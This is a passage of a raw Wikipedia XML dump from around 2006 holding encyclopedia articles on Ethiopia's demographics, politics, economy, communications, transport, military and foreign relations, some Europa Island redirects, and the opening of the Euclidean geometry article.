# Stuart Munro-Hay, ''Aksum: An African Civilization of Late Antiquity'' (Edinburgh: University Press, 1991), p.56.
# Kobishchanov, ''Axum'', p.116.
# Stuart Munro-Hay, ''Aksum'', pp.95-98.
# Paul B. Henze, ''Layers of Time: A History of Ethiopia'' (New York: Palgrave, 2000.), p. 282.

== External links==
{{commonscat|History of Ethiopia}}
* {{cite web
 | last = Pankhurst
 | first = Dr. Richard
 | title = History of Northern Ethiopia - and the Establishment of the Italian Colony or Eritrea
 | work = Civic Webs Virtual Library
 | url = http://www.civicwebs.com/cwvlib/africa/ethiopia/pankhurst/history_of_northern_ethiopia.htm
 | accessdate = March 25
 | accessyear = 2005
 }}
* [http://tezeta.org/14/prince-alamayou-of-ethiopia Prince Alamayou of Ethiopia, by Lord Amulree]

{{Africa in topic|History of}}

[[Category:History of Ethiopia| ]]

[[de:Geschichte Äthiopiens]]
[[es:Historia de Etiopía]]
[[fr:Histoire de l'Éthiopie]]
[[he:היסטוריה של אתיופיה]]
[[pt:História da Etiópia]]
[[sl:Zgodovina Etiopije]]
[[zh:衣索比亞歷史]]</text>
    </revision>
  </page>
  <page>
    <title>Ethiopia/Geography</title>
    <id>9399</id>
    <revision>
      <id>15907294</id>
      <timestamp>2002-07-14T21:28:33Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Geography of Ethiopia]]</text>
    </revision>
  </page>
  <page>
    <title>Demographics of Ethiopia</title>
    <id>9400</id>
    <revision>
      <id>41812361</id>
      <timestamp>2006-03-01T22:33:22Z</timestamp>
      <contributor>
        <username>Llywrch</username>
        <id>5094</id>
      </contributor>
      <comment>+ census info, link to CSA</comment>
      <text xml:space="preserve">[[Ethiopia]]'s population is highly diverse. Most of its people speak a [[Semitic languages|Semitic]] or [[Cushitic languages|Cushitic language]]. The [[Oromo]], [[Amhara people|Amhara]], and [[Tigrean]]s make up more than three-fourths of the population, but there are more than 80 different ethnic groups within Ethiopia. Some of these have as few as 10,000 members. In general, most of the Christians live in the highlands, while Muslims and adherents of traditional African religions tend to inhabit lowland regions. English is the most widely spoken foreign language and is taught in all secondary schools. [[Amharic]] was the language of primary school instruction but has been replaced in many areas by local languages such as [[Oromifa]] and [[Tigrinya]].

'''Population:'''
73,053,286 
&lt;br&gt;''note:'' The latest census for which figures are available was performed in 1994; this figure is the July 2005 estimate, which take into account the effects of excess mortality due to [[AIDS]]; this can result in lower life expectancy, higher infant mortality and death rates, lower population and growth rates, and changes in the distribution of population by age and sex than would otherwise be expected.

'''Age structure:'''
&lt;br&gt;''0-14 years:''
43.9% (male 16,082,504; female 15,999,602) 
&lt;br&gt;''15-64 years:''
53.4% (male 19,452,737; female 19,525,746) 
&lt;br&gt;''65 years and over:''
2.7% (male 905,648; female 1,087,049) (2005 est.)

'''Population growth rate:'''
2.36% (2005 est.)

'''Birth rate:'''
38.61 births/1,000 population (2005 est.)

'''Death rate:'''
15.06 deaths/1,000 population (2005 est.)

'''Net migration rate:'''
0 migrant(s)/1,000 population (2005 est.)
&lt;br&gt;''note:''
repatriation of Ethiopians who fled to [[Sudan]] for refuge from war and famine in earlier years is expected to continue for several years; small numbers of Sudanese and Somali refugees, who fled to Ethiopia from the fighting or famine in their own countries, continue to return to their homes

'''Sex ratio:'''
&lt;br&gt;''at birth:''
1.03 male(s)/female
&lt;br&gt;''under 15 years:''
1.01 male(s)/female
&lt;br&gt;''15-64 years:''
1 male(s)/female
&lt;br&gt;''65 years and over:''
0.83 male(s)/female
&lt;br&gt;''total population:''
1 male(s)/female (2005 est.)

'''Infant mortality rate:'''
95.32 deaths/1,000 live births (2005 est.)

'''Life expectancy at birth:'''
&lt;br&gt;''total population:''
48.83 years 
&lt;br&gt;''male:''
47.67 years 
&lt;br&gt;''female:''
50.03 years (2005 est.)

'''Total fertility rate:'''
5.33 children born/woman (2005 est.)

'''Nationality:'''
&lt;br&gt;''noun:''
Ethiopian(s)
&lt;br&gt;''adjective:''
Ethiopian

'''Ethnic groups:'''&lt;sup&gt;[http://bxabeg.people.wm.edu/Ethiopia.Census%20Portrait.pdf 1], [http://www.ethiopianembassy.org/population.shtml 2]&lt;/sup&gt;
[[Oromo]] 32.1%, [[Amhara people|Amhara]] 30.2%, [[Tigré]] 6.2%, [[Somali]] 6.0%, [[Gurage]] 4.3%, [[Sidama]] 3.4%, [[Wolayta]] 2%, [[Afar people|Afar]] 2%, [[Hadiya]] 2%, [[Gamo]] 1%

'''[[Religion]]s:'''&lt;sup&gt;[http://bxabeg.people.wm.edu/Ethiopia.Census%20Portrait.pdf 1]&lt;/sup&gt; [[Christian]] 61.6% ([[Ethiopian Orthodox]] 50.6%, [[Protestant]] 10.1%, [[Catholic]] 0.9%), [[Muslim]] 32.8%, [[animist|Traditional]] 5.6%

See also: [[Tewahedo Church]], [[Coptic Christianity]]

'''[[Language]]s:'''&lt;sup&gt;[http://bxabeg.people.wm.edu/Ethiopia.Census%20Portrait.pdf 1]&lt;/sup&gt; [[Amharic language|Amharic]] 32.7% (as a first language), [[Oromo language|Oromigna]] 31.6%, [[Tigrigna language|Tigrigna]] 6.1%, [[Somali language|Somali]] 6.0%, [[Gurage languages|Guragigna]] 3.5%, [[Sidama language|Sidama]] 3.5%, other local languages; [[Arabic language|Arabic]], [[English language|English]] (major foreign language taught in schools)

'''Literacy:'''
&lt;br&gt;''definition:''
age 15 and over can read and write
&lt;br&gt;''total population:''
42.7% 
&lt;br&gt;''male:''
50.3% 
&lt;br&gt;''female:''
35.1% (2003 est.)

== See also == 
* [[Central Statistical Agency (Ethiopia)|Central Statistical Agency]]
* [[Ethiopia]]

{{Africa in topic|Demographics of}}

[[Category:Demographics by country|Ethiopia]]
[[Category:Ethiopian society]]
[[Category:Geography of Ethiopia]]

[[es:Demografía de Etiopía]]
[[sl:Demografija Etiopije]]</text>
    </revision>
  </page>
  <page>
    <title>Politics of Ethiopia</title>
    <id>9401</id>
    <revision>
      <id>40360118</id>
      <timestamp>2006-02-20T01:24:11Z</timestamp>
      <contributor>
        <username>Llywrch</username>
        <id>5094</id>
      </contributor>
      <comment>link</comment>
      <text xml:space="preserve">{{Politics of Ethiopia}}
'''Politics of Ethiopia''' takes place in a framework of a [[federation|federal]] [[parliamentary system|parliamentary]] [[republic]], whereby the [[Prime Minister of Ethiopia|Prime Minister]] is the [[head of government]]. [[Executive power]] is exercised by the government. Federal [[legislative power]] is vested in both the [[government]] and the two chambers of parliament. The [[Judiciary]] is more or less independent of the executive and the legislature.

==Political developments==
In May 1991, a coalition of rebel forces under the name [[Ethiopian People's Revolutionary Democratic Front]] (EPRDF) defeated the government of [[Mengistu Haile Mariam]]. In July 1991, the EPRDF, the [[Oromo Liberation Front]] (OLF), and others established the Transitional Government of Ethiopia (TGE) which was comprised of an 87-member Council of Representatives and guided by a national charter that functioned as a transitional constitution.  
In June 1992 the OLF withdrew from the government; in March 1993, members of the [[Southern Ethiopia Peoples' Democratic Coalition]] left the government.

The [[Eritrean People's Liberation Front]] (EPLF), an ally in the fight against  the Mengistu regime, assumed control of [[Eritrea]] and established a provisional government.  Eritrea achieved full independence on [[May 24]], [[1993]].

President [[Meles Zenawi]] and members of the TGE pledged to oversee the formation of a multi-party democracy.  The election of Ethiopia's 547-member [[Constituent Assembly|constituent assembly]] was held in June 1994, and this assembly adopted the constitution of the Federal Democratic Republic of Ethiopia in December 1994. The elections for Ethiopia's first popularly chosen national parliament and regional legislatures were held in May and June 1995. Most opposition parties chose to boycott these elections, ensuring a landslide victory for the EPRDF. International and non-governmental observers concluded that opposition parties would have been able to participate had they chosen to do so.

The Government of the Federal Democratic Republic of Ethiopia was installed in August 1995. The EPRDF-led government of Prime Minister Meles has promoted a policy of ethnic federalism, devolving significant powers to regional, ethnically based authorities. Ethiopia today has 10 semi-autonomous administrative regions which have the power to raise and spend their own revenues. Under the present government, Ethiopians enjoy greater political participation and freer debate than ever before in their history, although some fundamental freedoms, including freedom of the press, are in practice somewhat circumscribed.

==Executive branch==
{{office-table}}
|[[President of Ethiopia|President]]
|[[Girma Wolde-Giyorgis Lucha]]
|
|[[8 October]] [[2001]]
|-
|[[Prime Minister of Ethiopia|Prime Minister]]
|[[Meles Zenawi]]
|[[Tigrayan People's Liberation Front|TPLF]]
|August 1995
|}
The president is elected by the House of People's Representatives for a six-year term. The prime minister is designated by the party in power following legislative elections. The Council of Ministers as provided for in the December 1994 constitution is selected by the prime minister and approved by the House of People's Representatives.

==Legislative branch==
The [[Parliament of Ethiopia|Federal Parliamentary Assembly]] has two [[bicameralism|chambers]]: the [[House of People's Representatives|Council of People's Representatives]] (''Yehizbtewekayoch Mekir Bet'') with 527 members, elected for five-year terms in single-seat [[constituency|constituencies]]; and the [[House of Federation|Council of the Federation]] (''Yefedereshn Mekir Bet'') with 117 members, one each from the 22 minority [[Demographics of Ethiopia|nationalities]], and one from each professional sector of its remaining nationalities, designated by the regional councils, which may elect them themselves or through popular elections.

==Political parties and elections==
{{elect|List of political parties in Ethiopia|Elections in Ethiopia}}
{{Ethiopian_parliamentary_election,_2005}}
{{main|Ethiopian general elections, 2005}}
Some political pressure groups are the Council of Alternative Forces for Peace and Democracy in Ethiopia (CAFPDE) [[Beyene Petros]] and the Southern Ethiopia People's Democratic Coalition (SEPDC) [Beyene Petros].

==Judicial branch==
The president and vice president of the Federal Supreme Court are recommended by the prime minister and appointed by the House of People's Representatives; for other federal judges, the prime minister submits candidates selected by the Federal Judicial Administrative Council to the House of People's Representatives for appointment.

==Administrative divisions==
Ethiopia is divided into 9 ethnically-based administrative regions (astedader akababiwach, singular - astedader akabibi) and 2 chartered cities*: Addis Ababa*; [[Afar (region)|Afar]]; [[Amhara]], [[Benishangul/Gumaz]]; [[Dire Dawa]]*; [[Gambela]]; [[Harar]]; [[Oromia]]; [[Somali]]; [[Southern Nations, Nationalities, and Peoples Region]]; [[Tigray]]

==International organization participation==
[[ACP (Lomé Convention)|ACP]], [[AfDB]], [[United Nations Economic Commission for Africa|ECA]], [[FAO]], [[G-24]], [[G-77]], [[IAEA]], [[IBRD]], [[ICAO]], [[International Red Cross and Red Crescent Movement|ICRM]], [[International Development Association|IDA]], [[IFAD]], [[IFC]], [[IFRCS]], [[IGAD]], [[International Labour Organization|ILO]], [[IMF]], [[International Maritime Organization|IMO]], [[Intelsat]], [[Interpol]], [[IOC]], [[International Organization for Migration|IOM]] (observer), [[International Organization for Standardization|ISO]], [[International Telecommunication Union|ITU]], [[Non-Aligned Movement|NAM]], [[OAU]], [[OPCW]], [[UN]], [[UNCTAD]], [[UNESCO]], [[UNHCR]], [[UNIDO]], [[UNU]], [[UPU]],[[World Customs Organization|WCO]], [[WFTU]], [[World Health Organization|WHO]], [[WIPO]], [[WMO]], [[WToO]]

{{Africa in topic|Politics of}}


[[Category:Politics of Ethiopia| ]]

[[pt:Política da Etiópia]]</text>
    </revision>
  </page>
  <page>
    <title>Economy of Ethiopia</title>
    <id>9402</id>
    <revision>
      <id>41604730</id>
      <timestamp>2006-02-28T13:14:38Z</timestamp>
      <contributor>
        <username>Dismas</username>
        <id>152983</id>
      </contributor>
      <minor />
      <comment>not a stub</comment>
      <text xml:space="preserve">{{Economy of Ethiopia table}}

The '''economy of Ethiopia''' is based on [[agriculture]], which accounts for half of [[gross domestic product]] (GDP), 90% of [[export]]s, and 80% of total employment.

The major agricultural export crop is [[coffee]], providing 65%-75% of [[Ethiopia]]'s foreign exchange earnings. Coffee is critical to the Ethiopian economy, and Ethiopia earned $267 million in 1999 by exporting 105,000 metric tons. According to current estimates, coffee contributes 10% of Ethiopia's GDP. More than 15 million people (25% of the population) derive their livelihood from the coffee sector.

Other exports include live animals, hides, [[gold]], [[legume|pulses]], oilseeds, and [[khat]] (or ''qat''), a leafy [[shrub]] which has psychotropic qualities when chewed. 

Ethiopia's agriculture is plagued by periodic [[drought]], [[soil degradation]] caused by [[overgrazing]], [[deforestation]], high population density, and poor infrastructure, making it difficult and expensive to get goods to market. Yet it is the country's most promising resource. A potential exists for self-sufficiency in grains and for export development in livestock, grains, vegetables, and fruits. As many as 4.6 million people need food assistance annually. 

[[Gold]], [[marble]], [[limestone]], and small amounts of [[tantalum]] are mined in Ethiopia. Other resources with potential for commercial development include large [[potash]] deposits, [[natural gas]], [[iron]] ore, and possibly [[petroleum]] and geothermal energy. Although Ethiopia has good hydroelectric resources, which power most of its manufacturing sector, it is totally dependent on imports for its oil. Prior to the outbreak of the 1998&amp;ndash;2000 Ethiopian&amp;ndash;[[Eritrea]]n [[war]], [[landlocked]] Ethiopia mainly relied on the [[port|seaports]] of [[Assab]] and [[Massawa]] in [[Eritrea]] for international trade. Ethiopia [[As of 2005|currently]] uses the ports of [[Djibouti]], connected to [[Addis Ababa, Ethiopia|Addis Ababa]] by rail, and to a lesser extent, [[Port Sudan]] in [[Sudan]].  In May 2005, the Ethiopian government began negotiations to use the port of [[Berbera]] in [[Somaliland]]. Of the 23,812 kilometres of Ethiopia's all-weather roads, 15% are asphalt. Mountainous terrain and the lack of good roads and sufficient vehicles make land transportation difficult. However, the government-owned airline is excellent. [[Ethiopian Airlines]] serves 38 domestic airfields and has 42 international destinations.

Dependent on a few vulnerable crops for its foreign exchange earnings and reliant on imported oil, Ethiopia lacks sufficient foreign exchange. The financially conservative government has taken measures to solve this problem, including stringent import controls and sharply reduced subsidies on retail gasoline prices. Nevertheless, the largely subsistence economy is incapable of supporting high military expenditures, drought relief, an ambitious development plan, and indispensable imports such as oil and, therefore, must depend on foreign assistance.

In December 1999, Ethiopia signed a $1.4 [[billion]] (1.4 G$) joint venture deal to develop a huge natural gas field in the [[Somali Region]]. The war with [[Eritrea]] has forced the government to spend scarce resources on the military and forced the government to scale back ambitious development plans. Foreign investment has declined significantly. Government taxes imposed in late 1999 to raise money for the war will depress an already weak economy. The war has forced the government to improve roads and other parts of the previously neglected infrastructure, but only certain regions of the nation have benefited.

The current government has embarked on a program of economic reform, including privatization of state enterprises and rationalization of government regulation. While the process is still ongoing, the reforms have begun to attract much-needed foreign investment.

See also: [[Ethiopian famine]]

===See also===
*[[Ethiopia]]
*[[List of Ethiopian companies]]

==External links==
*[http://www.eastandard.net/hm_news/news.php?articleid=21395 &quot;Ethiopia in Talks Over Use of Somali Port&quot;] - ''The East African Standard'' ([[Nairobi]]), [[May 27]], [[2005]]
*[http://wanniski.com/showarticle.asp?articleid=3028 Ethiopia has a marginal tax rate of 89% on farmers profits]
*[http://www.nbe.gov.et/History/history.htm National Bank of Ethiopia: History of banking in Ethiopia]

==References==
*[http://www.cia.gov/cia/publications/factbook/geos/et.html CIA World Factbook]

[[Category:Economies by country|Ethiopia]]
[[Category:Economy of Ethiopia| ]]
[[Category:African Union member economies|Ethiopia]]
[[es:Economía de Etiopía]]
[[fr:Économie de l'Éthiopie]]
[[he:כלכלת אתיופיה]]
[[pt:Economia da Etiópia]]
[[sl:Gospodarstvo Etiopije]]</text>
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  </page>
  <page>
    <title>Communications in Ethiopia</title>
    <id>9403</id>
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      <contributor>
        <username>Gyrofrog</username>
        <id>52387</id>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/64.126.94.172|64.126.94.172]] ([[User talk:64.126.94.172|talk]]) to last version by Gimboid13</comment>
      <text xml:space="preserve">{{CIA}}

The first [[Telegraphy|telegraph]] line in Ethiopia was constructed in the years [[1897]] - [[1899]] between the cities of [[Harar]] and the capital [[Addis Ababa]]. This was extended in [[1904]] by a line that ran from Addis Ababa through [[Tigray]] into [[Eritrea]] and to [[Massawa]]; and the next year by a line again from Addis Ababa to [[Gore]] in the province of [[Illubabor]] and [[Jimma]] in [[Kaffa]].

The first telephones were brought by [[Ras Makonnen]] from Italy in [[1890]], and connected between the Palace and the Imperial treasury; the sound of disembodied voices frightened the local priests, who thought it was the work of [[demon]]s. The Emperor [[Menelik II]] responded to their protests with disdain, and later used the telephone to give orders to his provincial governors.&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt; Emperor [[Haile Selassie]] had begun the process of introducing [[radio]] transmitters to the country for civilian and military use in the years before the [[Second Italo-Abyssinian War|Italian invasion]].&lt;sup&gt;[[#Notes|2]]&lt;/sup&gt;

'''[[Telephone]]s - main lines in use:''' 435,000 (2003)

'''Telephones - mobile [[cellular phone]]s:''' 97,800 (2003)

'''Telephone system:'''
open [[wire]] and [[microwave]] [[radio]] relay system adequate for government use
&lt;br&gt;''domestic:''
open wire; microwave radio relay; radio communication in the [[High frequency|HF]], [[Very high frequency|VHF]], and [[Ultra high frequency|UHF]] frequencies; two domestic [[satellites]] provide the national trunk service
&lt;br&gt;''international:''
open wire to [[Sudan]] and [[Djibouti]]; microwave radio relay to [[Kenya]] and Djibouti; satellite earth stations - 3 [[Intelsat]] (1 [[Atlantic Ocean]] and 2 [[Pacific Ocean]])

*The Ethiopian [[Dial Plan|dial plan]] changed on [[September 17]], [[2005]]. City codes (''i.e.'', internal prefixes) changed from two digits to three (or, from outside Ethiopia, one digit to two). Phone numbers changed from six digits to seven. A web-based program which converts old telephone numbers to new numbers is available [http://www.ethioindex.com/convert/ here].

'''[[Radio]] [[Broadcasting|broadcast]] stations:''' [[AM radio|AM]] 8, [[FM]] 0, shortwave 1 (2003)

'''[[Tuner (radio)|Radios]]:''' 11.75 million (1997)

'''[[Television]] broadcast stations:''' 1 plus 24 repeaters (2002) 

'''Televisions:''' 320,000 (1997)

'''[[Internet]] hosts:''' 19 (2003)

'''Internet users:''' 75,000 (2003)

'''[[Country codes|Country code (TLD)]]:''' ET

== Notes ==
# Chris Proutky, ''Empress Taytu and Menelik II: Ethiopia 1883-1910'' (Trenton: The Red Sea Press, 1986), pp. 237ff.
# Richard Pankhurst, ''Economic History of Ethiopia (1800 - 1935)'' (Addis Ababa: Haile Selassie I University Press, 1968), pp. 341, 606.

:{{CIAfb}}&lt;br style=&quot;clear:both&quot; /&gt;

== See also ==
* [[Ethiopia]]

[[Category:Communications by country|Ethiopia]]
[[Category:Communications in Ethiopia| ]]</text>
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    <title>Transport in Ethiopia</title>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/71.252.248.235|71.252.248.235]] ([[User talk:71.252.248.235|talk]]) to last version by Warofdreams</comment>
      <text xml:space="preserve">==[[Railway]]s:==
''total:'' 
* 681 km (Ethiopian segment of the [[Addis Ababa]]-[[Djibouti]] railroad), all 1000mm  [[narrow gauge]]
* note: railway under joint control of Djibouti and Ethiopia (2003)

=== Railway links to adjacent countries ===

* [[Transportation in Djibouti|Djibouti]] - yes - 1000mm
* [[Transportation in Somalia|Somalia]] - no
* [[Transportation in Kenya|Kenya]] - no
* [[Transportation in Sudan|Sudan]] - no
* [[Transportation in Eritrea|Eritrea]] - no [[break-of-gauge]] 1000mm/950mm

== Highways ==
* ''total:'' 31,571 km 
* ''paved:'' 3,789 km 
* ''unpaved:'' 27,782 km (2000)

== Ports and harbors ==
None. Ethiopia is landlocked and was by agreement with [[Eritrea]] using the ports of [[Assab]] and [[Massawa]]; since the border dispute with [[Eritrea]] flared, Ethiopia has used the port of [[Djibouti]] for nearly all of its imports.

== Merchant marine ==
&lt;br&gt;''total:''
12 ships (1,000 GRT or over) totaling 84,915 GRT/112,634 DWT (1999 est.); 9 ships (1,000 GRT or over) 81,933 GRT/101,287 DWT (2003 est.)
&lt;br&gt;''ships by type:''
cargo 7; container 1; petroleum tanker 1; roll-on/roll-off 3 (1999 est.), 1 (2003 est.)

== [[Airport]]s ==
82 (2203 est.)

=== Airports - with paved runways ===
&lt;br&gt;''total:''
14
&lt;br&gt;''over 3,047 m:''
3
&lt;br&gt;''2,438 to 3,047 m:''
5
&lt;br&gt;''1,524 to 2,437 m:''
5 
&lt;br&gt;''914 to 1,523 m:''
1 (2003 est.) 

=== Airports - with unpaved runways ===
&lt;br&gt;''total:''
68
&lt;br&gt;''over 3,047 m:''
3
&lt;br&gt;''2,438 to 3,047 m:''
2
&lt;br&gt;''1,524 to 2,437 m:''
13
&lt;br&gt;''914 to 1,523 m:''
27
&lt;br&gt;''under 914 m:''
23 (2003 est.) 

== See also ==
* [[Ethiopia]]

== Further reading ==
* &quot;Chapter 8: Transport and Communications&quot; in Richard Pankhurst, ''Economic History of Ethiopia (1800 - 1935)'' (Addis Ababa: Haile Selassie I University Press, 1968).

{{Africa in topic|Transport in}}

{{CIAfb}}

[[Category:Transportation in Ethiopia| ]]</text>
    </revision>
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  <page>
    <title>Military of Ethiopia</title>
    <id>9405</id>
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        <ip>207.69.139.153</ip>
      </contributor>
      <text xml:space="preserve">The [[Ethiopian National Defense Force]] (ENDF) has approximately 100,000 personnel, which makes it one of the largest [[military]] forces in [[Africa]]. This number is significantly smaller than the 250,000 plus troops that existed during the [[Derg]] regime that fell to the rebel forces in 1991. The [[United States]] was Ethiopia's major [[arms trade|arms supplier]] from the end of [[World War II|World War 2]] until [[1977]], when Ethiopia began receiving massive arms shipments from the [[Soviet Union]]. These shipments, including armored patrol boats, transport and jet fighter aircraft, helicopters, tanks, trucks, missiles, artillery, and small arms have incurred an unserviced Ethiopian debt to the former Soviet Union estimated at more than $3.5 billion. Since the early [[1990s]], the ENDF has been in transition from a rebel force to a professional military organization with the aid of the U.S. and other countries. Training in demining, humanitarian and peace-keeping operations, professional military education, and military justice are among the major programs sponsored by the U.S.

'''Military branches:'''
Ground Forces, Air Force, Police, Militia
&lt;br&gt;''note:''
Ethiopia is landlocked and has no [[navy]]; following the independence of Eritrea, Ethiopian naval facilities remained in Eritrean possession and ships which belonged to the former Ethiopian Navy and based at [[Djibouti]] have been sold

'''Military manpower - military age:'''
18 years of age

'''Military manpower - availability:'''
&lt;br&gt;''males age 15-49:'' 15,748,632 (2004 est.) 

'''Military manpower - fit for military service:'''
&lt;br&gt;''males age 15-49:'' 8,234,442 (2004 est.) 

'''Military manpower - reaching military age annually:'''
&lt;br&gt;''males:'' 760,868 (2004 est.) 

'''Military expenditures - dollar figure:'''
$345 million (2003)

'''Military expenditures - percent of GDP:'''
5.2% (2003)

==Equipment==
The Ethiopian Military uses the following equipment.
IFV/APCs:[[BMP-1]],[[M113]],[[BRDM-2]],
[[BTR-152]],[[BTR-60]].Tanks:[[T-54/55]],[[T-62]].
Artillery:[[M1974]],[[M109]].Aircraft:[[Mi-6]],
[[Mi-8]],[[Mi-24]],[[An-2]],[[An-12]],[[An-26]],
[[MiG-15]],[[MiG-17]],[[MiG-21]],[[MiG-23]],
[[Su-25]],[[F-5]],[[Su-27]]

==References and Links==
*[[Ethiopia]]

{{CIAfb}}
[[Category:Military of Ethiopia| ]]
[[Category:Militaries|Ethiopia]]</text>
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  </page>
  <page>
    <title>Foreign relations of Ethiopia</title>
    <id>9406</id>
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      <timestamp>2006-02-20T01:12:43Z</timestamp>
      <contributor>
        <username>Llywrch</username>
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      <comment>+ extermal link; copy edits</comment>
      <text xml:space="preserve">{{Politics of Ethiopia}}
[[Ethiopia]] was relatively isolated from major movements of world politics until the [[1895]] and [[1935]] [[Italy|Italian]] invasions. Since [[World War II]], it has played an active role in world and [[African]] affairs. Ethiopia was a [[charter member]] of the [[United Nations]] and took part in UN operations in [[Korea]] in [[1951]] and the [[Democratic Republic of the Congo|Congo]] in [[1960]]. Former [[Emperor]] [[Haile Selassie]] was a founder of the [[Organization of African Unity]] (OAU). [[Addis Ababa]] is the host capital for the UN Economic Commission for Africa and the OAU. 

Although nominally a member of the [[Non-Aligned Movement]], after the [[1974]] revolution, Ethiopia moved into a close relationship with the [[Soviet Union]] and its allies and supported their international policies and positions until the change of government in [[1991]]. 

Today, Ethiopia has very good relations with the U.S. and the West, especially in responding to regional instability and, increasingly, through economic involvement. Ethiopia's relations with [[Eritrea]] are extremely close, reflecting the shared revolutionary struggle against the [[Derg]]. Continuing instability along Ethiopia's borders with [[Sudan]] and [[Somalia]] contributes to tension with the [[National Islamic Front]] regime in Sudan and several groups in Somalia.

==International Disputes==
===Somalia===
*Most of the southern half of the boundary with Somalia is a Provisional Administrative Line, not an international boundary
*maintains alliances with local clans in opposition to the Transitional National Government, which lost its mandate in August 2003, in [[Mogadishu]]
*&quot;[[Somaliland]]&quot; secessionists provide port facilities and trade ties to landlocked Ethiopia
*Territorial dispute with Somalia over the [[Ogaden]]

===Eritrea===
*Dispute over alignment of boundary with Eritrea led to armed conflict between 1998 - 2000, which was resolved by the 2002 independent boundary commission's delimitation decision. However, demarcation has been delayed, despite intense international intervention, by Ethiopian insistence that the decision ignored &quot;human geography,&quot; made technical errors in the delimitation, and incorrectly awarded [[Badme]] and other areas to Eritrea. Eritrea meanwhile insists on not deviating from the commission's decision

===Sudan===
*Efforts to demarcate the porous boundary with Sudan have been delayed by civil war 

==Illicit drugs==
*Transit hub for [[heroin]] originating in Southwest and Southeast Asia and destined for Europe and North America, as well as [[cocaine]] destined for markets in southern Africa.
*Cultivates [[qat]] (chat) for local use and regional export, principally to [[Djibouti]] and Somalia.
*Lack of a well-developed financial system limits the country's usefulness as a [[money-laundering]] center

==External link==
*[http://mfa.gov.et/index.php Ministry of Foreign Affairs for Ethiopia's webpage]

{{CIAfb}}
[[Category:Foreign relations of Ethiopia| ]]
[[Category:Foreign relations by country|Ethiopia, Foreign affairs of]]</text>
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    <title>Europa Island</title>
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      <text xml:space="preserve">#REDIRECT [[Scattered islands in the Indian Ocean]][[eo:Euxropinsulo]][[nl:Europa (eiland)]][[pt:Ilha Europa]]</text>
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    <title>Geography of Europa Island</title>
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    <title>Europa Island/People</title>
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    <title>Government of Europa Island</title>
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  <page>
    <title>Euclidean geometry</title>
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      <contributor>
        <username>Bcrowell</username>
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      <comment>smaller figure</comment>
      <text xml:space="preserve">[[Image:Euklid2.jpg|thumb|Euclid]]

'''Euclidean geometry''' is the familiar kind of [[geometry]] on the plane or in three dimensions. Mathematicians sometimes use the term to encompass higher-dimensional geometries with similar properties. Euclidean geometry is named after the [[Hellenistic]] mathematician [[Euclid]] of [[Egypt]]. Euclid's text ''[[Euclid's Elements|Elements]]'' is an early systematic treatment of this kind of geometry.

''Euclidean geometry'' sometimes means [[plane geometry]].  Plane geometry is the topic of this article and is the kind of geometry usually taught in [[secondary school]].

Euclidean geometry in three dimensions is traditionally called [[solid geometry]].
For information on [[higher dimensions]] see [[Euclidean space]]. 

==Axiomatic approach==

The traditional presentation of Euclidean geometry is as an [[axiomatic system]], setting out to prove all the &quot;true statements&quot; as [[theorem]]s in geometry from a set containing a finite number of [[axiom]]s.

The five [[postulate]]s of the ''Elements'' are as follows:

# Any two [[point]]s can be joined by a [[straight line]]. 
# Any [[straight line segment]] can be extended indefinitely in a straight line. 
# Given any straight line segment, a [[circle]] can be drawn having the segment as [[radius]] and one endpoint as center. 
# All [[right angle]]s are [[Congruence (geometry)|congruent]]. 
# If two lines are drawn which intersect a third in such a way that the sum of the [[inner angle]]s on one side is less than two right angles, then the two lines inevitably must intersect each other on that side if extended far enough. 

[[Image:euclid-proof.jpg|thumb|448px|A proof from Euclid's elements. It is shown that, given the line segment ΑΒ, an equilateral triangle ΑΒΓ can be constructed.]]
The fifth postulate is called the [[parallel postulate]], which leads to the same geometry as the following statement (note that it is formulated for two-dimensional geometry):
:''Through a point not on a given straight line, one and only one line can be drawn that never meets the given line.''

The parallel postulate seems less obvious than the others and many geometers tried in vain to prove it from them. By 1763 at least 28 different proofs of the fifth postulate had been published, but all were found to be incorrect. {{ref|GEB}} In the [[19th century]] it was shown that this could not be done, by constructing alternative systems of [[non-Euclidean geometry]], in which where the parallel postulate is false, while the other axioms hold.
(If one simply drops the parallel postulate from the list of axioms then the result is the more general geometry called [[absolute geometry]]). One consequence of omitting the parallel postulate is that the three angles of a [[triangle]] do not necessarily add to 180°. In [[hyperbolic geometry]] the sum of the three angles are always less than 180° and can approach zero, while in [[elliptic geometry]] the sum is greater than 180°.

Relatively recently, it was realized that Euclid's five axioms are incomplete. For instance, one of his theorems is that any line segment is part of a triangle; he constructs this in the usual way, by drawing circles around both endpoints and taking their intersection as the third vertex. His axioms, however, do not guarantee that the circles actually intersect. Many revised systems of axioms were constructed, the most standard ones being [[Hilbert's axioms]], [[Birkhoff's axioms]], and [[Tarski's axioms]].

[[Alfred Tarski|Tarski]] used his axioms to show Euclidean geometry is a complete [[Decidability_%28logic%29|decidable theory]]; that is, every proposition of Euclidean geometry can be shown to be either true or false. This does not violate [[Godel's theorem]], since Euclidean geometry cannot describe a sufficient amount of arithmetic for the theorem to apply.

Euclid also had five &quot;common notions&quot; which can also be taken to be axioms, though he later used other properties of [[magnitude (mathematics)|magnitude]]s.
# Things which equal the same thing also equal one another.
# If equals are added to equals, then the wholes are equal.
# If equals are subtracted from equals, then the remainders are equal.
# Things which coincide with one another equal one another.
# The whole is greater than the part.

==Modern introduction to Euclidean geometry==

Today, Euclidean geometry is usually constructed rather than [[axiom]]atized, by means of [[analytic geometry]]. If one introduces geometry this way, one can then prove the Euclidean (or any other) axioms as theorems in this particular model. This does not have the beauty of the axiomatic approach, but it is extremely concise.

===The construction===

First let us define the ''set of points'' as set of pairs of [[real number]]s &lt;math&gt;(x,y)&lt;/math&gt;. Then given two points &lt;math&gt;P=(x,y)&lt;/math&gt; and &lt;math&gt;Q=(z,t)&lt;/math&gt; one can define distances using the following formula: 

:&lt;math&gt;|PQ|=\sqrt{(x-z)^2+(y-t)^2}.\,&lt;/math&gt;

This is known as the ''Euclidean [[metric space|metric]]''. All other notions as a straight line, angle, circle can be defined in terms of points as pairs of real numbers and the distances between them. For example straight line through &lt;math&gt;P&lt;/math&gt; and &lt;math&gt;Q&lt;/math&gt; can be defined as a set of points ''A'' such that the triangle '''APQ''' is [[mathematical degeneracy|degenerate]], i.e.

